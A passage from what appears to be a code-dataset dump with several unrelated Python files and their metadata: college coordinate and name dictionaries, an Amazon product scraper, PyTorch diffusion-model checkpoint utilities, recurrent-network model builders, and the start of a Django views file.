Peay' : (36.5285918, -87.3098695),\n 'Ball State' : (40.1936683, -85.3865113),\n 'Baylor' : (31.549333, -97.1466694),\n 'Bethune-Cookman' : (29.2108147, -81.022833),\n 'Boise State' : (43.615046, -116.2044428),\n 'Boston College' : (42.330653, -71.1622756),\n 'Bowling Green' : (41.3747744, -83.6513228),\n 'Brown' : (41.8239891, -71.4128342),\n 'Bryant' : (41.9220433, -71.5495069),\n 'Bucknell' : (40.9645293, -76.88441),\n 'Buffalo' : (42.8864468, -78.8783688),\n 'Butler' : (39.7683331, -86.1583501),\n 'BYU' : (40.2338438, -111.6585336),\n 'California' : (37.8708393, -122.2728638),\n 'California Polytechnic State' : (35.2827525, -120.6596155),\n 'California State-Sacramento' : (38.5815719, -121.4943995),\n 'California-Davis' : (38.545379, -121.7445834),\n 'Campbell' : (35.4132168, -78.7355727),\n 'Central Arkansas' : (35.0886963, -92.442101),\n 'Central Connecticut State' : (41.6803915, -72.788277290445),\n 'Central Michigan' : (43.597646, -84.7668494),\n 'Charleston Southern' : (32.8546197, -79.9748102),\n 'Charlotte' : (35.2270869, -80.8431267),\n 'Cincinnati' : (39.1014537, -84.5124601),\n 'Clemson' : (34.6850749, -82.836411),\n 'Coastal Carolina' : (33.8360035, -79.0478142),\n 'Colgate' : (43.6307863, -74.4659274),\n 'College of William & Mary' : (37.2707028, -76.7074501),\n 'Colorado' : (40.0149856, -105.2705455),\n 'Colorado State' : (40.5508527, -105.0668084),\n 'Columbia' : (40.7305991, -73.9865811),\n 'Connecticut' : (41.8084314, -72.249523),\n 'Cornell' : (42.4396039, -76.4968018),\n 'Dartmouth' : (43.7033561, -72.2885717),\n 'Davidson' : (35.7902384, -80.2115052),\n 'Davidson College' : (35.7902384, -80.2115052),\n 'Dayton' : (39.7589478, -84.1916068),\n 'Delaware' : (39.6852191, -75.7508288),\n 'Delaware State' : (39.158168, -75.5243681),\n 'Drake' : (41.5910641, -93.6037148),\n 'Duke' : (35.9940329, -78.8986189),\n 'Duquesne' : (40.4416941, -79.990086),\n 'East Carolina' : (35.612661, -77.3663537),\n 'East Tennessee State' : (36.3134398, -82.3534727),\n 'Eastern Illinois' : (39.4961458, -88.176152),\n 'Eastern Kentucky' : (37.7478572, -84.2946538),\n 'Eastern Michigan' : (42.2411499, -83.6129938),\n 'Eastern Washington' : (47.4873895, -117.5757621),\n 'Elon' : (36.1029132, -79.5066894),\n 'FIU' : (25.7742658, -80.1936588),\n 'Florida' : (29.651907, -82.3247975),\n 'Florida A&M' : (30.4380832, -84.2809331),\n 'Florida Atlantic' : (26.3586885, -80.0830983),\n 'Florida International' : (25.7742658, -80.1936588),\n 'Florida State' : (30.4380832, -84.2809331),\n 'Fordham' : (40.7305991, -73.9865811),\n 'Fresno State' : (36.7295295, -119.708861160756),\n 'Furman' : (34.851354, -82.3984881),\n 'Gardner–Webb' : (35.254099, -81.6672820395697),\n 'Georgetown' : (38.9071923, -77.0368707),\n 'Georgia' : (33.9595974, -83.3766779),\n 'Georgia Southern' : (32.4490141, -81.7832911),\n 'Georgia State' : (33.7490987, -84.3901848),\n 'Georgia Tech' : (33.7490987, -84.3901848),\n 'Grambling State' : (32.5276503, -92.7140402),\n 'Hampton' : (37.0300969, -76.3452056),\n 'Harvard' : (42.3750997, -71.1056156),\n 'Hawaii' : (21.304547, -157.8556763),\n 'Holy Cross' : (42.2625932, -71.8022933),\n 'Houston' : (29.7589382, -95.3676973),\n 'Houston Baptist' : (29.7589382, -95.3676973),\n 'Howard' : (36.29885175, -82.3591932141095),\n 'Idaho' : (46.7323875, -117.000165),\n 'Idaho State' : (42.8688613, -112.4401097),\n 'Illinois' : (40.1117174, -88.2073009),\n 'Illinois State' : (40.5117699, -88.9944814),\n 'Indiana' : (39.165325, -86.52638569999999),\n 'Indiana State' : (39.4667025, -87.4139118),\n 'Iowa' : (41.6612561, -91.5299105),\n 'Iowa State' : (42.0267703, -93.6170553),\n 'Jackson State' : (32.4104385, -90.162064888255),\n 'Jacksonville' : (30.3321838, -81.6556509),\n 'Jacksonville State' : (33.8137163, -85.7613475),\n 'James Madison' : (38.4493315, -78.8688832),\n 'Kansas' : (38.9719384, -95.2359495),\n 'Kansas State' : (39.1836082, -96.5716693),\n 'Kennesaw State' : (34.0234337, -84.6154896),\n 'Kent State' : (41.1536674, -81.3578859),\n 'Kentucky' : (38.0464066, -84.4970392),\n 'LSU' : (30.4507462, -91.1545509),\n 'Lafayette College' : (40.6916081, -75.2099865),\n 'Lamar' : (30.0860459, -94.101846),\n 'Lehigh' : (40.6178915, -75.378652),\n 'Liberty' : (37.40088, -79.1844922945909),\n 'Louisiana Tech' : (32.5232053, -92.6379269),\n 'Louisiana-Lafayette' : (30.2240897, -92.0198426),\n 'Louisiana-Monroe' : (32.5093109, -92.1193011),\n 'Louisville' : (38.2542376, -85.7594069),\n 'Maine' : (44.883299, -68.672254),\n 'Marist' : (41.7065779, -73.92841),\n 'Marshall' : (38.4192496, -82.4451539),\n 'Maryland' : (38.980666, -76.9369188),\n 'Massachusetts' : (42.3803676, -72.5231429),\n 'McNeese State' : (30.2265949, -93.2173758),\n 'Memphis' : (35.1490215, -90.0516284),\n 'Mercer' : (32.8406946, -83.6324021),\n 'Miami (FL)' : (25.6905515, -80.235008879837),\n 'Miami (OH)' : (39.5103048, -84.7420518),\n 'Michigan' : (42.2681569, -83.731229),\n 'Michigan State' : (42.7355416, -84.4852468),\n 'Middle Tennessee' : (35.9155165, -86.4446933327789),\n 'Minnesota' : (44.9772995, -93.2654691),\n 'Miss St' : (33.45936245, -88.8298542266933),\n 'Mississippi' : (34.3664127, -89.5187663),\n 'Mississippi State' : (33.45936245, -88.8298542266933),\n 'Mississippi Valley State' : (33.4995515, -90.3239092613302),\n 'Missouri' : (38.951883, -92.3337365),\n 'Missouri State' : (37.2153307, -93.298252),\n 'Monmouth' : (40.2903891, -74.017638),\n 'Montana' : (46.8700801, -113.9952795),\n 'Montana State' : (45.6799842, -111.0446747),\n 'Morehead State' : (38.1839705, -83.432684),\n 'Morgan State' : (39.2908608, -76.6108072),\n 'Murray State' : (36.6103334, -88.3147609),\n 'NC State' : (35.7804015, -78.6390778),\n 'NIU' : (41.9294736, -88.7503646),\n 'Navy' : (38.9786401, -76.4927859),\n 'Nebraska' : (40.8000554, -96.6674004),\n 'Nevada' : (39.52927, -119.8136743),\n 'New Hampshire' : (43.1340949, -70.9265126),\n 'New Mexico' : (35.0841034, -106.650985),\n 'New Mexico State' : (32.3140354, -106.7798077),\n 'Nicholls State' : (29.7957633, -90.8228709),\n 'Norfolk State' : (36.8418147, -76.1917814),\n 'North Carolina' : (35.9131996, -79.0558444),\n 'North Carolina A&T' : (36.0726355, -79.7919753),\n 'North Carolina Central' : (35.9940329, -78.8986189),\n 'North Dakota' : (47.9078244, -97.0592027),\n 'North Dakota State' : (46.8772292, -96.7898209),\n 'North Texas' : (33.1734745, -97.2348158635231),\n 'Northern Arizona' : (35.199458, -111.6514258),\n 'Northern Colorado' : (40.4233142, -104.7091321),\n 'Northern Illinois' : (41.9294736, -88.7503646),\n 'Northern Iowa' : (42.5277622, -92.4454653),\n 'Northwestern' : (42.0447388, -87.6930458),\n 'Northwestern State' : (31.7607195, -93.08627489999999),\n 'Notre Dame' : (41.6833813, -86.2500065),\n 'Ohio' : (39.3292396, -82.1012554),\n 'Ohio State' : (39.9622601, -83.0007064),\n 'Oklahoma' : (35.2225717, -97.4394815),\n 'Oklahoma State' : (36.1156306, -97.0585716),\n 'Old Dominion' : (36.8418147, -76.1917814),\n 'Ole Miss' : (34.3664127, -89.5187663),\n 'Oregon' : (44.0505054, -123.0950505),\n 'Oregon State' : (44.5645659, -123.2620434),\n 'Penn State' : (40.794026, -77.8606974),\n 'Pennsylvania' : (39.9523993, -75.1635898),\n 'Pittsburgh' : (40.4416941, -79.990086),\n 'Portland State' : (45.5202471, -122.6741948),\n 'Prairie View A&M' : (30.0932737, -95.9877338),\n 'Presbyterian' : (34.4726277, -81.8806561),\n 'Princeton' : (40.3572976, -74.6672226),\n 'Purdue' : (40.4258686, -86.9080654),\n 'Rhode Island' : (41.4803791, -71.5225597),\n 'Rice' : (29.7589382, -95.3676973),\n 'Richmond' : (37.5385087, -77.4342799),\n 'Robert Morris' : (40.1942759, -74.7648836),\n 'Rutgers' : (40.4883559,-74.5110078),\n 'SMU' : (32.8551267, -96.7919453),\n 'Sacred Heart' : (41.2943069, -73.3748599),\n 'Saint Francis' : (40.5029161, -78.6314018),\n 'Sam Houston State' : (30.7235263, -95.55077709999999),\n 'Samford' : (33.5206824, -86.8024325),\n 'San Diego' : (32.7174209, -117.1627713),\n 'San Diego State' : (32.7174209, -117.1627713),\n 'San Jose State' : (37.3361905, -121.8905832),\n 'Savannah State' : (32.0835407, -81.0998341),\n 'South Alabama' : (30.6943566, -88.043054),\n 'South Carolina' : (34.0007493, -81.0343312),\n 'South Carolina State' : (33.4918203, -80.8556475),\n 'South Dakota' : (42.7794417, -96.9292103),\n 'South Dakota State' : (44.3114605, -96.7984396),\n 'South Florida' : (27.9477595, -82.4584439),\n 'Southeast Missouri State' : (37.3058839, -89.5181475),\n 'Southeastern Louisiana' : (30.5043583, -90.4611994),\n 'Southern' : (30.4507462, -91.1545509),\n 'Southern Illinois' : (37.7274692, -89.2166549),\n 'Southern Miss' : (31.3271189, -89.2903391),\n 'Southern Utah' : (37.6774769, -113.061893),\n 'Stanford' : (37.4265649, -122.170187551249),\n 'Stephen F. Austin' : (31.5970503, -94.592745),\n 'Stetson' : (29.0195145, -81.2941416253978),\n 'Stony Brook' : (40.9256538, -73.1409429),\n 'Syracuse' : (43.0481221, -76.1474243),\n 'TCU' : (32.753177, -97.3327458),\n 'Temple' : (39.9523993, -75.1635898),\n 'Tennessee' : (35.9603948, -83.921026),\n 'Tennessee State' : (36.1622296, -86.774353),\n 'Tennessee Technological' : (36.162839, -85.5016422),\n 'Tennessee-Chattanooga' : (35.0456297, -85.30968),\n 'Tennessee-Martin' : (36.3433965, -88.8503379),\n 'Texas' : (30.2711286, -97.7436994),\n 'Texas A&M' : (30.6262616, -96.3347248),\n 'Texas Southern' : (29.7589382, -95.3676973),\n 'Texas State' : (29.8826436, -97.9405827),\n 'Texas Tech' : (33.5778631, -101.8551664),\n 'The Citadel, The Military College of South Carolina' : (32.7876012, -79.9402727),\n 'Toledo' : (41.6786754, -83.5127282),\n 'Towson' : (39.4018552, -76.6023879),\n 'Troy' : (31.764098, -85.9566534550661),\n 'Tulane' : (29.9499323, -90.0701155),\n 'Tulsa' : (36.1556805, -95.9929112),\n 'UAB' : (33.5206824, -86.8024325),\n 'UCF' : (28.5421175, -81.3790461),\n 'UCLA' : (34.0543942, -118.2439408),\n 'UNLV' : (36.1662859, -115.1492249),\n 'USC' : (34.0543942, -118.2439408),\n 'UTEP' : (31.8111305, -106.501349295577),\n 'UTSA' : (29.4246002, -98.4951404),\n 'Utah' : (40.7670126, -111.8904307),\n 'Utah State' : (41.7313447, -111.834863),\n 'Valparaiso' : (41.4730948, -87.0611411),\n 'Vanderbilt' : (36.1622296, -86.774353),\n 'Villanova' : (40.0373323, -75.3490768),\n 'Virginia' : (38.029306, -78.476678),\n 'Virginia Military Institute' : (37.7840208, -79.4428156),\n 'Virginia Tech' : (37.2296566, -80.4136766),\n 'Wagner' : (40.5834557, -74.1496047),\n 'Wake Forest' : (36.0998131, -80.2440517),\n 'Washington' : (47.6038321, -122.3300623),\n 'Washington State' : (46.7304268, -117.1738949),\n 'Weber State' : (41.2230048, -111.9738428),\n 'West Virginia' : (39.629526, -79.9558967),\n 'Western Carolina' : (35.3137111, -83.1765332),\n 'Western Illinois' : (40.4588774, -90.6709793),\n 'Western Kentucky' : (36.9903199, -86.4436017),\n 'Western Michigan' : (42.291707, -85.5872285),\n 'Wisconsin' : (43.074761, -89.3837612),\n 'Wofford' : (34.9498007, -81.9320156),\n 'Wyoming' : (41.3113669, -105.5911006),\n 'Yale' : (41.3082138, -72.9250517),\n 'Youngstown State' : (41.0997803, -80.6495193),\n 'Incarnate Word' : (29.4246002, -98.4951404)\n}\n\nIPEDS_DICT = {\n 'Abilene Christian University' : 'Abilene Christian',\n 'United States Air Force Academy' : 'Air Force',\n 'University of Akron Main Campus' : 'Akron',\n 'The University of Alabama' : 'Alabama',\n 'Alabama A & M University' : 'Alabama A&M',\n 'Alabama State University' : 'Alabama State',\n 'SUNY at Albany' : 'Albany',\n 'Alcorn State University' : 'Alcorn State',\n 'Appalachian State University' : 'Appalachian State',\n 'University of Arizona' : 'Arizona',\n 'Arizona State University-Tempe' : 'Arizona State',\n 'University of Arkansas' : 'Arkansas',\n 'University of Arkansas at Pine Bluff' : 'Arkansas-Pine Bluff',\n 'Arkansas State University-Main Campus' : 'Arkansas State',\n 'United States Military Academy' : 'Army',\n 'Auburn University' : 'Auburn',\n 'Austin Peay State University' : 'Austin Peay',\n 'Brigham Young University-Provo' : 'BYU',\n 'Ball State University' : 'Ball State',\n 'Baylor University' : 'Baylor',\n 'Bethune-Cookman University' : 'Bethune-Cookman',\n 'Boise State University' : 'Boise State',\n 'Boston College' : 'Boston College',\n 'Bowling Green State University-Main Campus' : 'Bowling Green',\n 'Brown University' : 'Brown',\n 'Bryant University' : 'Bryant',\n 'Bryant' : 'Bryant',\n 'Bucknell University' : 'Bucknell',\n 'University at Buffalo' : 'Buffalo',\n 'Butler University' : 'Butler',\n 'University of California-Berkeley' : 'California',\n 'California Polytechnic State University-San Luis Obispo' : 'California Polytechnic State',\n 'California State University-Sacramento' : 'California State-Sacramento',\n 'University of California-Davis' : 'California-Davis',\n 'Campbell University' : 'Campbell',\n 'University of Central Arkansas' : 'Central Arkansas',\n 'Central Michigan University' : 'Central Michigan',\n 'Charleston Southern University' : 'Charleston Southern',\n 'University of North Carolina at Charlotte' : 'Charlotte',\n 'University of Cincinnati-Main Campus' : 'Cincinnati',\n 'Citadel Military College of South Carolina' : 'Citadel',\n 'Clemson University' : 'Clemson',\n 'Coastal Carolina University' : 'Coastal Carolina',\n 'Colgate University' : 'Colgate',\n 'University of Colorado Boulder' : 'Colorado',\n 'Colorado State University-Fort Collins' : 'Colorado State',\n 'Columbia University in the City of New York' : 'Columbia',\n 'University of Connecticut' : 'Connecticut',\n 'Cornell University' : 'Cornell',\n 'Dartmouth College' : 'Dartmouth',\n 'Davidson College' : 'Davidson',\n 'University of Dayton' : 'Dayton',\n 'University of Delaware' : 'Delaware',\n 'Delaware State University' : 'Delaware State',\n 'Drake University' : 'Drake',\n 'Duke University' : 'Duke',\n 'Duquesne University' : 'Duquesne',\n 'East Carolina University' : 'East Carolina',\n 'East Tennessee State University' : 'East Tennessee State',\n 'Eastern Illinois University' : 'Eastern Illinois',\n 'Eastern Kentucky University' : 'Eastern Kentucky',\n 'Eastern Michigan University' : 'Eastern Michigan',\n 'Eastern Washington University' : 'Eastern Washington',\n 'Elon University' : 'Elon',\n 'Florida International University' : 'Florida International',\n 'University of Florida' : 'Florida',\n 'Florida Agricultural and Mechanical University' : 'Florida A&M',\n 'Florida Atlantic University' : 'Florida Atlantic',\n 'Florida State University' : 'Florida State',\n 'Fordham University' : 'Fordham',\n 'California State University-Fresno' : 'Fresno State',\n 'Furman University' : 'Furman',\n 'Georgetown University' : 'Georgetown',\n 'University of Georgia' : 'Georgia',\n 'Georgia Southern University' : 'Georgia Southern',\n 'Georgia State University' : 'Georgia State',\n 'Georgia Institute of Technology-Main Campus' : 'Georgia Tech',\n 'Grambling State University' : 'Grambling State',\n 'Hampton University' : 'Hampton',\n 'Harvard University' : 'Harvard',\n 'University of Hawaii at Manoa' : 'Hawaii',\n 'College of the Holy Cross' : 'Holy Cross',\n 'University of Houston' : 'Houston',\n 'Houston Baptist University' : 'Houston Baptist',\n 'Howard University' : 'Howard',\n 'University of Idaho' : 'Idaho',\n 'Idaho State University' : 'Idaho State',\n 'University of Illinois at Urbana-Champaign' : 'Illinois',\n 'Illinois State University' : 'Illinois State',\n 'University of the Incarnate Word' : 'Incarnate Word',\n 'Indiana University-Bloomington' : 'Indiana',\n 'Indiana State University' : 'Indiana State',\n 'University of Iowa' : 'Iowa',\n 'Iowa State University' : 'Iowa State',\n 'Jackson State University' : 'Jackson State',\n 'Jacksonville University' : 'Jacksonville',\n 'Jacksonville State University' : 'Jacksonville State',\n 'James Madison University' : 'James Madison',\n 'University of Kansas' : 'Kansas',\n 'Kansas State University' : 'Kansas State',\n 'Kennesaw State University' : 'Kennesaw State',\n 'Kent State University at Kent' : 'Kent State',\n 'University of Kentucky' : 'Kentucky',\n 'Louisiana State University and Agricultural & Mechanical College' : 'LSU',\n 'Lafayette College' : 'Lafayette College',\n 'Lamar University' : 'Lamar',\n 'Lehigh University' : 'Lehigh',\n 'Liberty University' : 'Liberty',\n 'University of Louisiana at Lafayette' : 'Louisiana-Lafayette',\n 'University of Louisiana at Monroe' : 'Louisiana-Monroe',\n 'Louisiana Tech University' : 'Louisiana Tech',\n 'University of Louisville' : 'Louisville',\n 'University of Maine' : 'Maine',\n 'Marist College' : 'Marist',\n 'Marshall University' : 'Marshall',\n 'University of Maryland-College Park' : 'Maryland',\n 'University of Massachusetts-Amherst' : 'Massachusetts',\n 'McNeese State University' : 'McNeese State',\n 'University of Memphis' : 'Memphis',\n 'Mercer University' : 'Mercer',\n 'University of Miami' : 'Miami (FL)',\n 'Miami University-Oxford' : 'Miami (OH)',\n 'University of Michigan-Ann Arbor' : 'Michigan',\n 'Michigan State University' : 'Michigan State',\n 'Middle Tennessee State University' : 'Middle Tennessee',\n 'University of Minnesota-Twin Cities' : 'Minnesota',\n 'Mississippi State University' : 'Mississippi State',\n 'Mississippi Valley State University' : 'Mississippi Valley State',\n 'University of Missouri-Columbia' : 'Missouri',\n 'Monmouth University' : 'Monmouth',\n 'The University of Montana' : 'Montana',\n 'Montana State University' : 'Montana State',\n 'Morehead State University' : 'Morehead State',\n 'Morgan State University' : 'Morgan State',\n 'Murray State University' : 'Murray State',\n 'United States Naval Academy' : 'Navy',\n 'University of Nebraska-Lincoln' : 'Nebraska',\n 'University of Nevada-Reno' : 'Nevada',\n 'University of Nevada-Las Vegas' : 'Nevada-Las Vegas',\n 'University of New Hampshire-Main Campus' : 'New Hampshire',\n 'University of New Mexico-Main Campus' : 'New Mexico',\n 'New Mexico State University-Main Campus' : 'New Mexico State',\n 'Nicholls State University' : 'Nicholls State',\n 'Norfolk State University' : 'Norfolk State',\n 'University of North Carolina at Chapel Hill' : 'North Carolina',\n 'North Carolina A & T State University' : 'North Carolina A&T',\n 'North Carolina Central University' : 'North Carolina Central',\n 'North Carolina State University at Raleigh' : 'NC State',\n 'University of North Dakota' : 'North Dakota',\n 'North Dakota State University-Main Campus' : 'North Dakota State',\n 'University of North Texas' : 'North Texas',\n 'Northern Arizona University' : 'Northern Arizona',\n 'University of Northern Colorado' : 'Northern Colorado',\n 'Northern Illinois University' : 'Northern Illinois',\n 'University of Northern Iowa' : 'Northern Iowa',\n 'Northwestern University' : 'Northwestern',\n 'Northwestern State University of Louisiana' : 'Northwestern State',\n 'University of Notre Dame' : 'Notre Dame',\n 'Ohio University-Main Campus' : 'Ohio',\n 'Ohio State University-Main Campus' : 'Ohio State',\n 'University of Oklahoma-Norman Campus' : 'Oklahoma',\n 'Oklahoma State University-Main Campus' : 'Oklahoma State',\n 'Old Dominion University' : 'Old Dominion',\n 'University of Mississippi' : 'Ole Miss',\n 'University of Oregon' : 'Oregon',\n 'Oregon State University' : 'Oregon State',\n 'University of Pennsylvania' : 'Pennsylvania',\n 'Pennsylvania State University-Main Campus' : 'Penn State',\n 'University of Pittsburgh-Pittsburgh Campus' : 'Pittsburgh',\n 'Portland State University' : 'Portland State',\n 'Presbyterian College' : 'Presbyterian',\n 'Princeton University' : 'Princeton',\n 'Purdue University-Main Campus' : 'Purdue',\n 'University of Rhode Island' : 'Rhode Island',\n 'Rice University' : 'Rice',\n 'University of Richmond' : 'Richmond',\n 'Robert Morris University' : 'Robert Morris',\n 'Rutgers University-New Brunswick' : 'Rutgers',\n 'Sacred Heart University' : 'Sacred Heart',\n 'Saint Francis University' : 'Saint Francis',\n 'Sam Houston State University' : 'Sam Houston State',\n 'Samford University' : 'Samford',\n 'University of San Diego' : 'San Diego',\n 'San Diego State University' : 'San Diego State',\n 'San Jose State University' : 'San Jose State',\n 'Savannah State University' : 'Savannah State',\n 'University of South Alabama' : 'South Alabama',\n 'University of South Carolina-Columbia' : 'South Carolina',\n 'South Carolina State University' : 'South Carolina State',\n 'University of South Dakota' : 'South Dakota',\n 'South Dakota State University' : 'South Dakota State',\n 'University of South Florida-Main Campus' : 'South Florida',\n 'Southern Methodist University' : 'SMU',\n 'Southeast Missouri State University' : 'Southeast Missouri State',\n 'Southeastern Louisiana University' : 'Southeastern Louisiana',\n 'Southern University at New Orleans' : 'Southern',\n 'Southern Illinois University-Carbondale' : 'Southern Illinois',\n 'University of Southern Mississippi' : 'Southern Miss',\n 'Southern Utah University' : 'Southern Utah',\n 'Stanford University' : 'Stanford',\n 'Stetson University' : 'Stetson',\n 'Stony Brook University' : 'Stony Brook',\n 'Syracuse University' : 'Syracuse',\n 'Texas Christian University' : 'TCU',\n 'Temple University' : 'Temple',\n 'Tennessee State University' : 'Tennessee State',\n 'Tennessee Technological University' : 'Tennessee Technological',\n 'Texas A & M University-College Station' : 'Texas A&M',\n 'Texas Southern University' : 'Texas Southern',\n 'Texas State University' : 'Texas State',\n 'Texas Tech University' : 'Texas Tech',\n 'The University of Tennessee-Knoxville' : 'Tennessee',\n 'The University of Texas at Austin' : 'Texas',\n 'The University of Texas at El Paso' : 'Texas-El Paso',\n 'The University of Texas at San Antonio' : 'Texas-San Antonio',\n 'University of Toledo' : 'Toledo',\n 'Towson University' : 'Towson',\n 'Troy University' : 'Troy',\n 'Tulane University of Louisiana' : 'Tulane',\n 'University of Tulsa' : 'Tulsa',\n 'University of Alabama at Birmingham' : 'UAB',\n 'University of Central Florida' : 'UCF',\n 'University of California-Los Angeles' : 'UCLA',\n 'University of Southern California' : 'USC',\n 'University of Utah' : 'Utah',\n 'Utah State University' : 'Utah State',\n 'Valparaiso University' : 'Valparaiso',\n 'Vanderbilt University' : 'Vanderbilt',\n 'Villanova University' : 'Villanova',\n 'University of Virginia-Main Campus' : 'Virginia',\n 'Virginia Military Institute' : 'Virginia Military Institute',\n 'Virginia Polytechnic Institute and State University' : 'Virginia Tech',\n 'Wagner College' : 'Wagner',\n 'Wake Forest University' : 'Wake Forest',\n 'University of Washington-Seattle Campus' : 'Washington',\n 'Washington State University' : 'Washington State',\n 'Weber State University' : 'Weber State',\n 'West Virginia University' : 'West Virginia',\n 'Western Carolina University' : 'Western Carolina',\n 'Western Illinois University' : 'Western Illinois',\n 'Western Kentucky University' : 'Western Kentucky',\n 'Western Michigan University' : 'Western Michigan',\n 'College of William & Mary' : 'William & Mary',\n 'University of Wisconsin-Madison' : 'Wisconsin',\n 'Wofford College' : 'Wofford',\n 'University of Wyoming' : 'Wyoming',\n 'Yale University' : 'Yale',\n 'Youngstown State University' : 'Youngstown State'\n}\n","sub_path":"py/dicts.py","file_name":"dicts.py","file_ext":"py","file_size_in_byte":62146,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"406604170","text":"from bs4 import BeautifulSoup as soup\r\nfrom urllib.request import urlopen as uReq\r\n\r\nmy_req = 'https://www.amazon.in/s?k=mobile+under+20000&ref=nb_sb_noss_2'\r\n\r\nuClient = uReq(my_req)\r\npage_html = uClient.read()\r\nuClient.close()\r\npage_soup = soup(page_html,'html.parser')\r\n\r\ncontainers = page_soup.find_all(\"div\", {\"class\":\"sg-col-20-of-24 s-result-item sg-col-0-of-12 sg-col-28-of-32 sg-col-16-of-20 sg-col sg-col-32-of-36 sg-col-12-of-16 sg-col-24-of-28\"})\r\n\r\ncontainer = containers[0]\r\n\r\nfilename = \"mobiles under 20000\"\r\nf = open(filename,\"w\")\r\nheader = \"Product,Price,Rating(out of 5),Prime Delivery by\\n\"\r\nf.write(header)\r\n\r\nfor container in containers :\r\n product_name = container.div.img[\"alt\"]\r\n\r\n price_container = container.findAll(\"span\",{\"class\":\"a-offscreen\"})\r\n price = price_container[0].text.strip()\r\n\r\n rating_container = container.findAll(\"span\",{\"class\":\"a-icon-alt\"})\r\n rating = rating_container[0].text.strip()\r\n\r\n # delivery_container = container.find_all(\"span\", {\"class\":\"a-text-bold\"})\r\n #deliver_by = delivery_container[0].text.strip()\r\n\r\n print(\"Product : \" + product_name )\r\n print(\"Price : \" + price )\r\n print(\"Rating(out of 5) : \" + rating )\r\n #print(\"Prime Delivery by : \" + deliver_by )\r\n\r\n\r\n\r\n","sub_path":"webScraping.py","file_name":"webScraping.py","file_ext":"py","file_size_in_byte":1259,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"107145826","text":"import torch\nimport sde_lib\n\n\ndef restore_checkpoint(optimizer, model, ema, ckpt_dir, device='cuda'):\n loaded_state = torch.load(ckpt_dir, map_location=device)\n if optimizer is not None: optimizer.load_state_dict(loaded_state['optimizer'])\n if model is not None: model.load_state_dict(loaded_state['models'], strict=False)\n if ema is not None: ema.load_state_dict(loaded_state['ema'])\n epoch = loaded_state['epoch']\n return epoch\n\n\ndef save_checkpoint(optimizer, model, ema, epoch, ckpt_dir):\n saved_state = {\n 'optimizer': optimizer.state_dict(),\n 'models': model.state_dict(),\n 'ema': ema.state_dict(),\n 'epoch': epoch\n }\n torch.save(saved_state, ckpt_dir)\n\n\ndef get_score_fn(sde, model, train=False):\n \"\"\"Wraps `score_fn` so that the models output corresponds to a real time-dependent score function.\n\n Args:\n sde: An `sde_lib.SDE` object that represents the forward SDE.\n model: A score models.\n train: `True` for training and `False` for evaluation.\n\n Returns:\n A score function.\n \"\"\"\n if isinstance(sde, sde_lib.VPSDE):\n def score_fn(x, t):\n # Scale neural network output by standard deviation and flip sign\n # For VP-trained models, t=0 corresponds to the lowest noise level\n # The maximum value of time embedding is assumed to 999 for\n # continuously-trained models.\n labels = t * 999\n if train:\n model.train()\n score = model(x, labels)\n else:\n model.eval()\n score = model(x, labels)\n std = sde.marginal_prob(torch.zeros_like(x), t)[1]\n score = -score / std[:, None, None, None]\n return score\n\n elif isinstance(sde, sde_lib.VESDE):\n def score_fn(x, t):\n labels = sde.marginal_prob(torch.zeros_like(x), t)[1]\n if train:\n model.train()\n score = model(x, labels)\n else:\n model.eval()\n score = model(x, labels)\n return score\n\n return score_fn\n\ndef to_flattened_numpy(x):\n \"\"\"Flatten a torch tensor `x` and convert it to numpy.\"\"\"\n return x.detach().cpu().numpy().reshape((-1,))\n\n\ndef from_flattened_numpy(x, shape):\n \"\"\"Form a torch tensor with the given `shape` from a flattened numpy array `x`.\"\"\"\n return torch.from_numpy(x.reshape(shape))\n","sub_path":"model/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":2435,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"119788603","text":"from tframe.layers import Input, Linear, Activation\n\nfrom tframe.nets.rnn_cells.lstms import BasicLSTMCell, OriginalLSTMCell\nfrom tframe.nets.rnn_cells.basic_cell import BasicRNNCell\nfrom tframe.nets.rnn_cells.amu import AMU\nfrom tframe.models.recurrent import Recurrent\nfrom tframe.models import Classifier\n\nfrom tframe.configs.config_base import Config\n\nimport core\nfrom msu import MSU\n\n\ndef rnn(th):\n assert isinstance(th, Config)\n model = Classifier(mark=th.mark, net_type=Recurrent)\n model.add(Input(sample_shape=th.input_shape))\n for dim in th.rc_dims: model.add(BasicRNNCell(state_size=dim))\n _output_and_build(model, th)\n return model\n\n\ndef lstm(th):\n assert isinstance(th, Config)\n model = Classifier(mark=th.mark, net_type=Recurrent)\n model.add(Input(sample_shape=th.input_shape))\n for dim in th.rc_dims: model.add(BasicLSTMCell(\n state_size=dim,\n forget_gate=th.forget_gate,\n output_gate_bias_initializer=10.0,\n ))\n _output_and_build(model, th)\n return model\n\n\ndef origin_lstm(th):\n assert isinstance(th, Config)\n model = Classifier(mark=th.mark, net_type=Recurrent)\n model.add(Input(sample_shape=th.input_shape))\n for dim in th.rc_dims:\n model.add(OriginalLSTMCell(\n state_size=dim,\n out_bias_initializer=5.,\n truncate=th.truncate_grad,\n forward_gate=th.forward_gate,\n ))\n _output_and_build(model, th)\n return model\n\n\ndef amu(th):\n assert isinstance(th, Config)\n model = Classifier(mark=th.mark, net_type=Recurrent)\n model.add(Input(sample_shape=th.input_shape))\n for dim in th.rc_dims: model.add(\n AMU(output_dim=dim, neurons_per_amu=3))\n _output_and_build(model, th)\n return model\n\n\ndef msu(th):\n assert isinstance(th, Config)\n model = Classifier(mark=th.mark, net_type=Recurrent)\n model.add(Input(sample_shape=th.input_shape))\n for dim in th.rc_dims:\n model.add(MSU(state_size=dim, memory_shift=core.memory_shift))\n _output_and_build(model, th)\n return model\n\n\ndef _output_and_build(model, th):\n assert isinstance(model, Classifier)\n assert isinstance(th, Config)\n # Add output layer\n model.add(Linear(output_dim=th.output_dim))\n model.add(Activation('softmax'))\n\n model.build(th.optimizer(th.learning_rate))\n\n\n","sub_path":"98-TOY/model_lib.py","file_name":"model_lib.py","file_ext":"py","file_size_in_byte":2204,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"444273829","text":"from django.shortcuts import render, redirect\nfrom django.contrib.auth.models import auth\nfrom django.http import HttpResponse\nfrom django.http.response import StreamingHttpResponse\n# local dir import\nfrom .models import Menu, Device, Room\nfrom .camera import VideoCapture\nfrom functools import wraps\n\n# decorator for redirect\ndef redirect_decorator(function):\n 